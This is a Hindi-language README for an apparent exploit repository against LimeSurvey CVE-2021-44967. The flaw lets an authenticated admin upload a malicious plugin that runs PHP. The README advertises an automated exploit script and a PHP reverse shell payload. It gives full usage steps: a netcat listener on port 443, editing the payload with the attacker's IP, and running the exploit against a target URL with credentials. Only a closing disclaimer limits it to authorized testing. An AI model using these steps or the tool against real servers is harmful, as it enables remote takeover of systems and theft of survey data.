🚀 LimeSurvey RCE (CVE-2021-44967) - प्रमाणित दूरस्थ कोड निष्पादन

इस रिपॉजिटरी में LimeSurvey में CVE-2021-44967 के लिए एक कार्यात्मक शोषण शामिल है, जो एक प्रमाणित दूरस्थ कोड निष्पादन भेद्यता है।

🎯 अनुकूलता

परीक्षणित और कार्यशील पुष्टि:

• LimeSurvey 5.2.x
• LimeSurvey 6.x

🐛 भेद्यता अवलोकन

यह भेद्यता प्रशासनिक विशेषाधिकारों वाले प्रमाणित उपयोगकर्ता को एक दुर्भावनापूर्ण प्लगइन अपलोड करने की अनुमति देती है। चूंकि LimeSurvey प्लगइन ZIP की सामग्री को सख्ती से मान्य नहीं करता है या प्लगइन निर्देशिका में PHP फ़ाइलों के निष्पादन को रोकता नहीं है, एक हमलावर अपलोड किए गए शेल तक सीधे पहुँच कर RCE प्राप्त कर सकता है।

✨ विशेषताएँ

• 🤖 स्वचालित शोषण: लॉग इन करता है, CSRF टोकन संभालता है, प्लगइन को स्वचालित रूप से अपलोड, इंस्टॉल और सक्रिय करता है।
• ✅ बेहतर अनुकूलता: LimeSurvey संस्करण 3.0 से 6.0 तक के साथ अनुकूलता के लिए config.xml अपडेट किया गया।
• 💣 लचीले पेलोड: एक मजबूत PHP रिवर्स शेल शामिल है।

🛠️ उपयोग

1️⃣ अपना लिसनर तैयार करें

अपनी मशीन पर netcat लिसनर प्रारंभ करें:

nc -lvnp 443

2️⃣ रिवर्स शेल कॉन्फ़िगर करें

php-rev.php को संपादित करें और अपना स्थानीय IP और पोर्ट सेट करें:

$ip = '<YOUR_IP>';
$port = 443;

3️⃣ शोषण चलाएँ

python3 exploit.py <TARGET_URL> <USERNAME> <PASSWORD>

उदाहरण:

python3 exploit.py http://10.129.1.243/survey admin test

📁 रिपॉजिटरी संरचना

• 🐍 exploit.py: मुख्य स्वचालन स्क्रिप्ट।
• 🐘 php-rev.php: PHP रिवर्स शेल पेलोड।
• ⚙️ config.xml: अनिवार्य LimeSurvey प्लगइन कॉन्फ़िगरेशन फ़ाइल।

⚠️ अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। इसे केवल नियंत्रित, कानूनी वातावरण (जैसे CTFs, प्रयोगशाला वातावरण, या अधिकृत संलग्नताओं) में उपयोग के लिए सख्ती से इरादा है। लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। इसका जिम्मेदारी से उपयोग करें और केवल उन प्रणालियों पर जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति है।